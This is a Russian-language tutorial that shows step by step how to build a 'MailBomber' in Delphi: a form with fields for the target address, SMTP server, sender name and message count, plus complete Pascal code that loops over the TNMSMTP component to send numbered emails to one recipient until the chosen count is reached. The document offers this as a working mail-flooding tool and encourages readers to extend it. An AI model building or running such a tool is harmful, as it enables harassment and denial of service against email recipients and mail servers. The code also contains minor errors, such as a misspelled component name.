Привет! Сейчас я расскажу (и покажу ;)) как сделать MailBomber на Delphi, да не простой, а который будет в конце сообщения будет писать что-то вроде “Читай сообщение #Х”. Итак приступим. Шаг №1. Устанавливаем Delphi, желательно 5-ой версии, запускаем, жмем на пимпу New->Application и лепим форму: делаем 7 полей, типа Edit (c панели Standart), 1 кнопку (тип Button, c панели Standart) и лепим на форму компонент TNMSMTP (с панели FastNet), а также текстовую область Memo1 (c панели Standart). Пусть: Edit1 будет “адрес получателя” (напишем это в Object Inspector->Edit1->Properties-> Text). Edit2 будет “почтовый сервер” (напишем это в Object Inspector->Edit2-> Properties-> Text). Edit3 будет “добавочный текст”, который в письме будет ‘_т_е_л_о__п_и_с_ь_м_а _д_о_б_а_в_о_ч_н_ы_й__т_е_к_с_т # X’, где Х- номер следующего письма, а - перевод на другую строку (напишем что-то в этом роде в Object Inspector->Edit3-> Properties-> Text). Edit4 будет “имя отправителя” (напишем это в Object Inspector->Edit4-> Properties-> Text). Edit5 будет “количество сообщений” (напишем это в Object Inspector->Edit5-> Properties-> Text). Edit6 будет “заголовок письма”, который в письме будет ‘з_а_г_о_л_о_в_о_к#Х’, где Х номер текущего письма. (напишем что-то в этом роде в Object Inspector->Edit6-> Properties-> Text). Edit7 будет “название проги - отправителя” (напишем это в Object Inspector->Edit7-> Properties-> Text). Button1 будет пимпа “отправить” (напишем это в Object Inspector->Button1-> Properties->Caption). Memo1 будет телом сообщения. Шаг №2 Пишем сам код. Выбираем окно Unit1.pas. Примичание: после знака // идет мои комментарии. И еще- данная прога рассчитана на то, что на первой строчки Memo1 будет тело письма, а на второй – добавочный текст + номер следующего письма (добавляется автоматом) В Var добавляем переменную “kolvo: integer;“ На форме 2 кликаем на кнопке “отправить” и после procedure TForm1.Button1Click(Sender: TObject); begin пишем button1.enabled:=false; //делаем кнопку неактивной kolvo:=0; //текущий номер письма=0 NMSMTP1.Host:= Edit2.text; // имя SMTP сервера NMSMTP1.Port:= 25; //порт NMSMTP1.Connect; //пока количество отправеленных писем не станет равно введенному-делай: while kolvo<>(StrToInt(Edit5.text)) do begin kolvo:= kolvo+1; // c каждым отправленным письмом увеличиваем kolvo на 1 NMSMTP1.PostMessage.FromAddress:= Edit1.text; //адрес получателя NMSMTP1.PostMessage.FromName:= Edit4.text; //имя отправителя NMSMTP1.PostMessage.ToAddress.Add(Edit1.text); //добавление адреса к списку адресов //по которым отправляется данное сообщение MSMTP1.PostMessage.Body.Clear; //очищаем тело письма Memo1.Lines.Delete(1); //очищаем 2 строку Memo1.Lines.Insert(1,Edit3.text+'#'+(intTostr(kolvo))); // добавление в 2-ую строку текст NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);//в body заносится содержимое Memo1 NMSMTP1.PostMessage.Subject:= Edit6.text+' '+'#'+IntToStr(kolvo); // заголовок письма NMSMTP1.PostMessage.LocalProgram:= Edit7.text; // название проги-отправителя NMSMTP1.SendMail;//отсылаем //если все отправили показываем окошко, активируем кнопку, отсоединяемся if kolvo=StrToInt(Edit5.text) then begin ShowMessage('Отправленно сообщений: '+ Edit5.text); button1.enabled:=true; NMSMTP1.Disconnect; end; end; end; end. Шаг №3 Сохраняем, компилируем и запускаем Project->Build Project1. Как это работает При нажатии кнопки “отправить” а поле заголовок автоматом добавляется номер текущего письма, а в тело - добавочный текст + номер следующего письма. Заключение В этой статье я описал, как сделать простой MailBomber на Delphi. Если ты кодишь на Дельфи- добавляй и изменяй данный текст делая прогу круче.
|